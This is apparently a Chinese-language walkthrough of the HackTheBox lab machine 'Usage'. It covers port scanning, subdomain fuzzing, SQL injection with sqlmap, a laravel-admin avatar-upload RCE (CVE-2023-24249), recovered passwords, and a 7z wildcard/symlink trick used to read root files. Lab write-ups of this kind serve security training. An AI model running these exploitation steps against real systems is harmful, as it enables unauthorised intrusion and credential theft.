简介
靶场:hackmyvm
靶机:Usage(10.10.11.18)
难度:Easy
靶机链接:https://app.hackthebox.com/machines/Usage
攻击机1:ubuntu22.04 (10.10.16.21)
攻击机2:windows11(10.10.14.33)
扫描
nmap起手
nmap -sT --min-rate 10000 -p- 10.10.11.18/32 -oA nmapscan/ports ;ports=$(grep open ./nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',');echo $ports >> nmapscan/tcp_ports;
nmap -sT -sV -sC -O -p$ports 10.10.11.18 -oA nmapscan/detail
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 19:27 CST
Nmap scan report for 10.10.11.18
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.82 seconds
linux靶机啊。总之从80端口开始,先把域名加入hosts,加个路由表就能上了
http
爆破子域名
ffuf -u http://10.10.11.18:80 -w $HVV_PATH/8_dict/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -c -H "Host:FUZZ.usage.htb" -t 10 -fw 6
发现子域名admin
。其实主界面上就能点进去……
sql注入
看看用户界面会是什么样。
emmmm,怎么说呢,至少知道是laravel框架了?
laravel几个经典RCE都打不通,试试几个点注入一下,发现在http://usage.htb/forget-password
有一个报错注入,依次输入以下两句:
' ORDER BY 8;-- -
' ORDER BY 9;-- -
前一句输入网页还正常显示“没有匹配记录”,下一条直接爆500了。
直接起手sqlmap,爆出所有信息
得到密码是whatever1
getshell
收集组件版本信息,laravel本身版本太高了没啥戏,但是encore/laravel-admin
是版本1.8.18,查了一下发现一个非常接近的RCE
https://flyd.uk/post/cve-2023-24249/
说到底其实就是文件漏洞,主要是管理员更换头像的功能
我们先以jpg格式正常上传一个头像
第二次则直接加上后缀.php
即可
复制链接地址就能得到shell路径了
http://admin.usage.htb/uploads/images/1.jpg.php
值得一提的是,这服务器删文件真的快……连上去赶快弹个shell维权
然后在dash用户目录下找到了user.txt
提权
先把攻击机的ssh公钥写进authorized_keys,用ssh直接连上去即可
信息收集一波,发现dash开了monitrc服务,然后配置文件为.monitrc
,里面存储了密码:3nc0d3d_pa$$w0rd
成功登录用户xander
sudo -l,发现可以无密码执行usage_managent
xander@usage:/tmp$ sudo -l
Matching Defaults entries for xander on usage:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
拉下来用ida看看,发现是备份程序,其中输入1的话会备份网站
-snl: 这个选项是为了在压缩文件中存储符号链接(如果存在的话)而不是链接指向的实际文件。
-mmt: 启用多线程压缩,这可以加速压缩过程,但可能会增加压缩文件的大小。
–: 这是一个常用的命令行习惯,用于分隔命令行选项和后面的参数。这可以确保后面的内容(即使它们以 - 开头)被视为文件名,而不是命令行选项。
*: 这是一个通配符,表示当前目录下的所有文件和子目录。所以这个命令会压缩当前目录下的所有内容。
几乎可以说锁死一切可能,遇到这种情况怎么办呢?
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
然后就能通过报错泄露信息了。原理就是@root.txt
把root.txt定义成目录文件,这样当7z用目录形式读取它的时候就会报错然后显示其所链接的文件的内容。
b26d9f463d705ae9bf861577e1253d55